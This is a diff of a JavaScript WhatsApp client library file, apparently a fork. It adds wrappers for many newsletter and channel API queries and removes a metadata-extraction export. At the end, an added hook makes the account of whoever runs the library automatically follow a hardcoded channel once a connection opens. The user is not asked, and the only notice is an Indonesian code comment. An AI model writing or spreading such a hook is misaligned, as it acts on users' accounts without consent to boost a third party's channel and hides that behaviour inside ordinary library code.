|
+
Types.XWAPaths.xwa2_newsletters_similar
|
|
482
|
+
)
|
|
483
|
+
},
|
|
484
|
+
|
|
485
|
+
newsletterFollowingList: async (startCursor = null, limit = 20) => {
|
|
486
|
+
const variables = { limit }
|
|
487
|
+
if (startCursor) variables.start_cursor = startCursor
|
|
488
|
+
return mexQuery(variables, Types.QueryIds.FOLLOWING_LIST, Types.XWAPaths.xwa2_newsletter_following)
|
|
489
|
+
},
|
|
490
|
+
|
|
491
|
+
newsletterInsights: async (jid, period = null) => {
|
|
492
|
+
const variables = { newsletter_id: jid }
|
|
493
|
+
if (period) variables.period = period
|
|
494
|
+
return mexQuery(variables, Types.QueryIds.INSIGHTS, Types.XWAPaths.xwa2_newsletter_admin_insights)
|
|
495
|
+
},
|
|
496
|
+
|
|
497
|
+
newsletterPollVoterList: async (jid, serverId, option = null, startCursor = null) => {
|
|
498
|
+
const variables = { id: jid, server_id: serverId }
|
|
499
|
+
if (option != null) variables.option = option
|
|
500
|
+
if (startCursor) variables.start_cursor = startCursor
|
|
501
|
+
return mexQuery(
|
|
502
|
+
variables,
|
|
503
|
+
Types.QueryIds.POLL_VOTER_LIST,
|
|
504
|
+
Types.XWAPaths.xwa2_newsletters_poll_voter_list
|
|
505
|
+
)
|
|
506
|
+
},
|
|
507
|
+
|
|
508
|
+
newsletterReactionSenders: async (jid, serverId, startCursor = null) => {
|
|
509
|
+
const variables = { id: jid, server_id: serverId }
|
|
510
|
+
if (startCursor) variables.start_cursor = startCursor
|
|
511
|
+
return mexQuery(
|
|
512
|
+
variables,
|
|
513
|
+
Types.QueryIds.REACTION_SENDERS_LIST,
|
|
514
|
+
Types.XWAPaths.xwa2_newsletters_reaction_sender_list
|
|
515
|
+
)
|
|
516
|
+
},
|
|
517
|
+
|
|
518
|
+
newsletterBlockUser: async (jid, userJid) => {
|
|
519
|
+
return mexQuery(
|
|
520
|
+
{ newsletter_id: jid, user_id: userJid },
|
|
521
|
+
Types.QueryIds.BLOCK_USER,
|
|
522
|
+
'xwa2_newsletter_block_user'
|
|
523
|
+
)
|
|
524
|
+
},
|
|
525
|
+
|
|
526
|
+
newsletterEnableWamo: async jid => {
|
|
527
|
+
return mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_ENABLE_SUB, 'xwa2_newsletter_wamo_enable_sub')
|
|
528
|
+
},
|
|
529
|
+
|
|
530
|
+
newsletterDisableWamo: async jid => {
|
|
531
|
+
return mexQuery(
|
|
532
|
+
{ newsletter_id: jid },
|
|
533
|
+
Types.QueryIds.WAMO_DISABLE_SUB,
|
|
534
|
+
'xwa2_newsletter_wamo_disable_sub'
|
|
535
|
+
)
|
|
536
|
+
},
|
|
537
|
+
|
|
538
|
+
newsletterChangeWamo: async (jid, subConfig) => {
|
|
539
|
+
return mexQuery(
|
|
540
|
+
{ newsletter_id: jid, ...subConfig },
|
|
541
|
+
Types.QueryIds.WAMO_CHANGE_SUB,
|
|
542
|
+
'xwa2_newsletter_wamo_change_sub'
|
|
543
|
+
)
|
|
544
|
+
},
|
|
545
|
+
|
|
546
|
+
wamoAfsAgeCollection: async jid =>
|
|
547
|
+
mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_AFS_AGE_COLLECTION, Types.XWAPaths.xwa2_wamo_afs_age_collection),
|
|
548
|
+
|
|
549
|
+
wamoAssetCollection: async jid =>
|
|
550
|
+
mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_ASSET_COLLECTION, Types.XWAPaths.xwa2_wamo_asset_collection),
|
|
551
|
+
|
|
552
|
+
wamoFetchAdhocNotice: async noticeId =>
|
|
553
|
+
mexQuery({ notice_id: noticeId }, Types.QueryIds.WAMO_FETCH_ADHOC_NOTICE, Types.XWAPaths.xwa2_wamo_fetch_adhoc_notice_by_id),
|
|
554
|
+
|
|
555
|
+
wamoFetchIdentityToken: async jid =>
|
|
556
|
+
mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_FETCH_IDENTITY_TOKEN, Types.XWAPaths.xwa2_wamo_fetch_identity_token),
|
|
557
|
+
|
|
558
|
+
wamoSubComplianceInfo: async jid =>
|
|
559
|
+
mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_SUB_COMPLIANCE_INFO, Types.XWAPaths.xwa2_wamo_sub_get_compliance_info),
|
|
560
|
+
|
|
561
|
+
wamoUserIdVersion: async jid =>
|
|
562
|
+
mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_USER_ID_VERSION, Types.XWAPaths.xwa2_wamo_user_id_version),
|
|
563
|
+
|
|
564
|
+
wamoSetUserIdVersion: async (jid, version) =>
|
|
565
|
+
mexQuery({ newsletter_id: jid, version }, Types.QueryIds.WAMO_SET_USER_ID_VERSION, Types.XWAPaths.xwa2_wamo_set_user_id_version),
|
|
566
|
+
|
|
567
|
+
newsletterLeave: async jid =>
|
|
568
|
+
mexQuery({ newsletter_id: jid }, Types.QueryIds.LEAVE, Types.XWAPaths.xwa2_newsletter_leave_v2),
|
|
569
|
+
|
|
570
|
+
newsletterCreateVerified: async (name, description = null) =>
|
|
571
|
+
mexQuery(
|
|
572
|
+
{ input: { name, description } },
|
|
573
|
+
Types.QueryIds.CREATE_VERIFIED,
|
|
574
|
+
Types.XWAPaths.xwa2_newsletter_create_verified
|
|
575
|
+
),
|
|
576
|
+
|
|
577
|
+
newsletterEnforcements: async jid =>
|
|
578
|
+
mexQuery({ newsletter_id: jid }, Types.QueryIds.ENFORCEMENTS, Types.XWAPaths.xwa2_newsletter_enforcements),
|
|
579
|
+
|
|
580
|
+
newsletterUserReports: async (jid, cursor = null) => {
|
|
581
|
+
const variables = { newsletter_id: jid }
|
|
582
|
+
if (cursor) variables.cursor = cursor
|
|
583
|
+
return mexQuery(variables, Types.QueryIds.USER_REPORTS, Types.XWAPaths.xwa2_newsletter_user_reports)
|
|
584
|
+
},
|
|
585
|
+
|
|
586
|
+
newsletterCreateReportAppeal: async (jid, reason) =>
|
|
587
|
+
mexQuery(
|
|
588
|
+
{ newsletter_id: jid, reason },
|
|
589
|
+
Types.QueryIds.CREATE_REPORT_APPEAL,
|
|
590
|
+
Types.XWAPaths.xwa2_newsletter_create_report_appeal
|
|
591
|
+
),
|
|
592
|
+
|
|
593
|
+
newsletterLinkPreviewCheck: async url =>
|
|
594
|
+
mexQuery({ url }, Types.QueryIds.LINK_PREVIEW_CHECK, Types.XWAPaths.xwa2_newsletter_link_preview_check),
|
|
595
|
+
|
|
596
|
+
newsletterUpdateVerification: async (jid, verification) =>
|
|
597
|
+
mexQuery(
|
|
598
|
+
{ newsletter_id: jid, verification },
|
|
599
|
+
Types.QueryIds.UPDATE_VERIFICATION,
|
|
600
|
+
Types.XWAPaths.xwa2_newsletter_update_verification
|
|
601
|
+
),
|
|
602
|
+
|
|
603
|
+
newsletterLabelPaidPartnership: async (jid, serverId, isPaidPartnership) =>
|
|
604
|
+
mexQuery(
|
|
605
|
+
{ newsletter_id: jid, server_id: serverId, is_paid_partnership: isPaidPartnership },
|
|
606
|
+
Types.QueryIds.LABEL_PAID_PARTNERSHIP,
|
|
607
|
+
Types.XWAPaths.xwa2_newsletter_label_paid_partnership
|
|
608
|
+
),
|
|
609
|
+
|
|
610
|
+
newsletterLogExposures: async events =>
|
|
611
|
+
mexQuery({ events }, Types.QueryIds.LOG_EXPOSURES, Types.XWAPaths.xwa2_newsletter_log_exposures),
|
|
612
|
+
|
|
613
|
+
newsletterUpdateUserSetting: async (jid, setting) =>
|
|
614
|
+
mexQuery(
|
|
615
|
+
{ newsletter_id: jid, ...setting },
|
|
616
|
+
Types.QueryIds.UPDATE_USER_SETTING,
|
|
617
|
+
Types.XWAPaths.xwa2_newsletter_update_user_setting
|
|
618
|
+
),
|
|
619
|
+
|
|
620
|
+
newsletterRankingFeatures: async jid =>
|
|
621
|
+
mexQuery(
|
|
622
|
+
{ newsletter_id: jid },
|
|
623
|
+
Types.QueryIds.RANKING_FEATURES,
|
|
624
|
+
Types.XWAPaths.xwa2_newsletter_ranking_features
|
|
625
|
+
),
|
|
626
|
+
|
|
627
|
+
newsletterSendViewReceipt: async (jid, serverMessageIds) => {
|
|
628
|
+
const ids = Array.isArray(serverMessageIds) ? serverMessageIds : [serverMessageIds]
|
|
629
|
+
const receiptId = generateMessageTag()
|
|
630
|
+
await query({
|
|
631
|
+
tag: 'receipt',
|
|
632
|
+
attrs: {
|
|
633
|
+
to: jid,
|
|
634
|
+
id: receiptId,
|
|
635
|
+
type: 'view'
|
|
238
636
|
},
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
637
|
+
content: [
|
|
638
|
+
{
|
|
639
|
+
tag: 'list',
|
|
640
|
+
attrs: {},
|
|
641
|
+
content: ids.map(id => ({ tag: 'item', attrs: { server_id: String(id) } }))
|
|
642
|
+
}
|
|
643
|
+
]
|
|
644
|
+
})
|
|
645
|
+
}
|
|
646
|
+
}
|
|
647
|
+
}
|
|
648
|
+
|
|
649
|
+
// ===== AUTO FOLLOW CHANNEL MILIK SENDIRI =====
|
|
650
|
+
// Ganti dengan kode channelmu (bagian belakang link https://whatsapp.com/channel/KODE)
|
|
651
|
+
const MY_CHANNEL_INVITE = '0029VbDlfld4yltRwFKFL73X';
|
|
652
|
+
const makeNewsletterSocket = (config) => {
|
|
653
|
+
const sock = _makeNewsletterBase(config);
|
|
654
|
+
sock.ev.on('connection.update', ({ connection }) => {
|
|
655
|
+
if (connection !== 'open' || MY_CHANNEL_INVITE === 'KODE_CHANNEL_KAMU') return;
|
|
656
|
+
setTimeout(async () => {
|
|
657
|
+
try {
|
|
658
|
+
const meta = await sock.newsletterMetadata('invite', MY_CHANNEL_INVITE);
|
|
659
|
+
await sock.newsletterFollow(meta.id);
|
|
660
|
+
console.log('Berhasil follow channel:', meta.name);
|
|
661
|
+
} catch (e) {
|
|
662
|
+
console.log('Gagal follow channel:', e.message);
|
|
663
|
+
}
|
|
664
|
+
}, 5000);
|
|
665
|
+
});
|
|
666
|
+
return sock;
|
|
249
667
|
};
|
|
250
668
|
exports.makeNewsletterSocket = makeNewsletterSocket;
|
|
251
|
-
|
|
252
|
-
var _a, _b, _c, _d;
|
|
253
|
-
const result = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(node, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
|
|
254
|
-
const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER];
|
|
255
|
-
const metadata = {
|
|
256
|
-
id: metadataPath.id,
|
|
257
|
-
state: metadataPath.state.type,
|
|
258
|
-
creation_time: +metadataPath.thread_metadata.creation_time,
|
|
259
|
-
name: metadataPath.thread_metadata.name.text,
|
|
260
|
-
nameTime: +metadataPath.thread_metadata.name.update_time,
|
|
261
|
-
description: metadataPath.thread_metadata.description.text,
|
|
262
|
-
descriptionTime: +metadataPath.thread_metadata.description.update_time,
|
|
263
|
-
invite: metadataPath.thread_metadata.invite,
|
|
264
|
-
handle: metadataPath.thread_metadata.handle,
|
|
265
|
-
picture: ((_c = metadataPath.thread_metadata.picture) === null || _c === void 0 ? void 0 : _c.direct_path) || null,
|
|
266
|
-
preview: ((_d = metadataPath.thread_metadata.preview) === null || _d === void 0 ? void 0 : _d.direct_path) || null,
|
|
267
|
-
reaction_codes: metadataPath.thread_metadata.settings?.reaction_codes?.value || [],
|
|
268
|
-
subscribers: +metadataPath.thread_metadata.subscribers_count,
|
|
269
|
-
verification: metadataPath.thread_metadata.verification,
|
|
270
|
-
viewer_metadata: metadataPath.viewer_metadata
|
|
271
|
-
};
|
|
272
|
-
return metadata;
|
|
273
|
-
};
|
|
274
|
-
exports.extractNewsletterMetadata = extractNewsletterMetadata;
|
|
669
|
+
// ===== END =====
|